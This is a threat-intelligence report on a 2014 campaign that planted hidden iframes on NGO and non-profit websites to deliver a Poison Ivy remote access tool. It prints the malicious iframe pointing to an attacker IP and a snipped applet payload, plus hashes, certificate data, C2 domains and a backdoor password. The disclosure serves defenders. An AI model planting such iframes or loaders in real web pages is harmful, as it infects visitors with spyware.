Aided Frame, Aided Direction (Because it's a redirect)

Introduction:

On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting iframes on legitimate websites. The compromised websites contained an iframe to direct site visitors to a threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims' systems. FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent threat (APT) groups. FireEye previously established detection measures for this threat activity, ensuring our clients were prepared for these intrusion attempts well in advance of threat actor implementation.

Activity Overview:

On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared infrastructure and tools, on at least three different websites: an international non-profit organization that focuses on environmental advocacy, and two different NGOs that promote democracy and human rights. The group was able to compromise these websites and insert malicious iframes. Figure 1 displays one of the iframes. The threat group obfuscated the iframe on two of the compromised websites.

```
<div class="views-field views-field-body">      <div class="field-
content"><p><iframe height="0"
src="http://103.27.108.45/img/js.php" width="0"></iframe></p>
```

Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address

The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45. In turn, these exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php. A GET request to this URI returned the following content:

```
<applet code="NvTest.class",height="200" width="200">

.<param name="bin" value='4D5A90……'
```

Figure 2: The encoded payload (snipped for brevity)

The 'bin' param shown in Figure 2 is decoded from ASCII into hex by the Java exploit. Once decoded, FireEye identified the payload as a Poison Ivy variant. It had the following properties:

MD5	118fa558a6b5020b078739ef7bdac3a1

Size 25608 bytes

Compile Time 2014 09 15 08:21:23

Import Hash 09d0478591d4f788cb3e5ea416c25237

The Poison Ivy variant was also code signed with the below certificate:

SHA1 47:8C:E3:D6:CC:17:60:D3:27:14:6A:36:C9:88:77:4D:27:83:6A:D4

MD5 82B582589D4A59BE0720F088ACAC67A3

Serial Number 581AE6B6ABAFD73AC85B1AEFBDB2555F

Common Name zilliontek Co.,Ltd

Organization zilliontek Co.,Ltd

Country KR

State/Province Gyeonggi-do

City Suwon-si

Issue Date Jan 12 00:00:00 2013 GMT

Expiration Date Feb 20 23:59:59 2015 GMT

The backdoor also contained the below versioning info embedded in the RT_VERSION of one of the PE resources:
LegalCopyright: Copyright 2012 Google Inc. All rights reserved.
InternalName: chrome_exe
ProcuctShortName: Chrome
FileVersion: 34.0.1847.131
CompanyName: Google Inc.
OrginaLFilename: chrome.exe
LegalTrademarks:
ProductName: Google Chrome
ComparyShortName: Google
LastChange: 265687
FileDescription: Google Chrome
Offcial Build: 1

PriductVersion: 34.0.1847.131
Translation: 0×0409 0x04b0

This versioning info attempted to masquerade as a Google Chrome file. However, the malware author misspelled multiple words when attempting to put in versioning information for this particular build.

The Poison Ivy implant had the following configuration properties:
C2: quakegoogle.servequake.com, Port: 80
Password: qeTGd3485fF
Mutex:)!VoqA.I4

The C2 domain quakegoogle.servequake[.]com resolved to 115.126.62.100 at the time of the SWCs. Other domains resolving to the same IP include the following:

assign.ddnsking.com
quakegoogle.servequake.com
picsgoogle.servepics.com

Figure 3: Domains observed resolving to 115.126.62.100

Between August 30, 2014 and September 16, 2014 we also observed SOGU (aka Kaba) callback traffic sent to assign.ddnsking.com over port 443.

Links to the Sunshop Digital Quartermaster

The Poison Ivy backdoor also had a RT_MANIFEST PE resource with a SHA256 fingerprint of 82a98c88d3dd57a6ebc0fe7167a86875ed52ebddc6374ad640407efec01b1393.

This same RT_MANIFEST resource was documented in our previous Sunshop Digital Quartermaster report. FireEye previously identified this specific RT_MANIFEST as the 'Sunshop Manifest,' and we have observed this same manifest resource used in 86 other samples. As we stated in the Quartermaster report, we believe this shared resource is an artifact of a builder toolkit made available to a number of China-based APT groups.

Conclusion

This activity represents a new SWC campaign. We suspect threat actors are leveraging their access to compromised websites belonging to NGOs and non-profits to target other organizations in the same industries. These websites are often visited by organization employees and other organizations in the same industries, allowing threat actors to move laterally within already compromised networks or gain access to new networks. While FireEye has not attributed this activity to a specific threat group, we frequently

observe China-based threat actors target non-profits and NGOs, and we suspect that they seek to monitor activity within their borders that may lead to domestic unrest or embarrass the Chinese government. For example, in 2013, FireEye observed China-based threat actors steal grant applications and activity reports specifically related to an international NGO's China-based activities. We suspects threat actors sought to monitor these programs and involved individuals. The three organizations whose websites are hosting the malicious iframes have China-based operations.

FireEye is releasing information on this campaign to allow organizations to investigate and prepare for this activity in their networks. We believe non-profits and NGOs remain at elevated risk of intrusion and should be especially wary of attempts to compromise their networks using SWC. Threat actors may use SWCs to achieve this goal, but FireEye does not discount the possibility that threat actors will use other means at their disposal, including phishing. Based on past threat actor activity in this industry, FireEye expects threat actors are motivated to steal programmatic data and monitor organizations' programs in specific countries. If China-based threat actors are behind the observed campaign, FireEye expects that organizations with operations in China are high-priority targets. FireEye currently has detection measures in place that should allow users of FireEye products to detect this SWC activity. It is also likely that other industries or organizations were affected by this SWC activity, since these sites are public facing and frequently visited.

Special thanks to Google's Billy Leonard for providing additional information and research.

Thanks to the following authors for their contributions: Mike Oppenheim, Ned Moran, and Steve Stone.